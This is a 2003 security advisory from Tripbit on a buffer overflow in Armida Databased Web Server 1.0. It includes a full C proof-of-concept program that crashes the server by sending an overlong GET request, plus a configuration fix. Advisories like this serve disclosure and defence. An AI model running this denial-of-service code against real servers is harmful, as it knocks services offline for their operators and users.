TA-2003-06 Denial of Service Attack against Armida Databased Web Server v1.0
contributed by: rushjo
============================================================================
Tripbit Security Advisory

TA-2003-06 Denial of Service Attack against Armida Databased Web Server v1.0
============================================================================ 






PROGRAM:               Armida Databased Web Server
HOMEPAGE:              http://www.frassetto.it
VULNERABLE VERSIONS:   1.0
RISK:                  Medium/High
IMPACT:                Denial of Service Attack
RELEASE DATE:          2003-06



============================================================================ 




TABLE OF CONTENTS
============================================================================ 





1. DESCRIPTION
2. DETAILS
3. EXPLOIT
4. SOLUTIONS
5. VENDOR STATUS
6. CREDITS
7. DISCLAIMER
8. REFERENCES
9. FEEDBACK



1. DESCRIPTION
============================================================================ 





A HTTP server designed for Internet and intranet installations. It supports
direct database access without CGI, multiple host (virtual or port-linked)
and access security. Support many advanced features that can allow visitors
to add or change database entries. Accounts using username/password access
can be set up with the ability to decrement credits from the user when
defined pages are accessed. Auto-install and remove. On-line documentation
and support.



2. DETAILS
============================================================================ 





The Armida Databased Web Server has an vulnerability in the standard
configuration. This allows an attacker to crash the server by writing more
than 5000 bytes behind the hostname's url.


Example: http://host.com/AAAAA(more than 5000 bytes)...




3. EXPLOIT
============================================================================ 





This is an Proof of Concept Exploit of this Buffer Overflow Vulnerability.

NOTE: This is only for INFORMATION purposes and not for any destructive
acts!


/**************************************************************
*
*     Denial of Service Attack against Armida Web Server v1.0
*    *    Tripbit Security Development
*    ----------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: posidron@tripbit.org
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*    [-] IRC: irc.euirc.net 6667 #tripbit
*
*    Greets: #csec, #securecrew, #tripbit
*
**************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;
       char send[6915], flood[6900];
    char get[3] = "GET", http[12] = "HTTP/1.0\n\n";
       memset(flood, 'A', 6900);
       strcpy(send, get);
    strcat(send, flood);
    strcat(send, http);

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n", argv[0]);
        exit(0);
    }

    port = atoi(argv[2]);

    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...\n");
        exit(0);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);

    printf("DoS against Armida v1.0\n");

    if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
    {
        printf("Can't start socket()!\n");
        exit(0);
    }
       if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
    {
        printf("Can't connect!\n");
        exit(0);
    }
       write(sockfd, send, strlen(send));
       printf("Attack done!...\n");
       close(sockfd);
}



This will produce an "crash" of the Armida Databased Web Server.




4. SOLUTIONS
============================================================================ 





<QUOTE>

In the "armida.ini" file in the section "[armida]"

set Pirati=20

This will fix the problem.

</QUOTE>




5. VENDOR STATUS
============================================================================ 





The vendor has been notified.




6. CREDITS
============================================================================ 





Discovered by posidron




7. DISLAIMER
============================================================================ 





The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in connection
with the use or spread of this information. Any use of this information
is at the user's own risk.




8. REFERENCES
============================================================================ 





http://www.tripbit.org




9. FEEDBACK
============================================================================ 





Please send suggestions, updates, and comments to:



Tripbit Security Advisory

http://www.tripbit.org
rushjo@tripbit.org
posidron@tripbit.org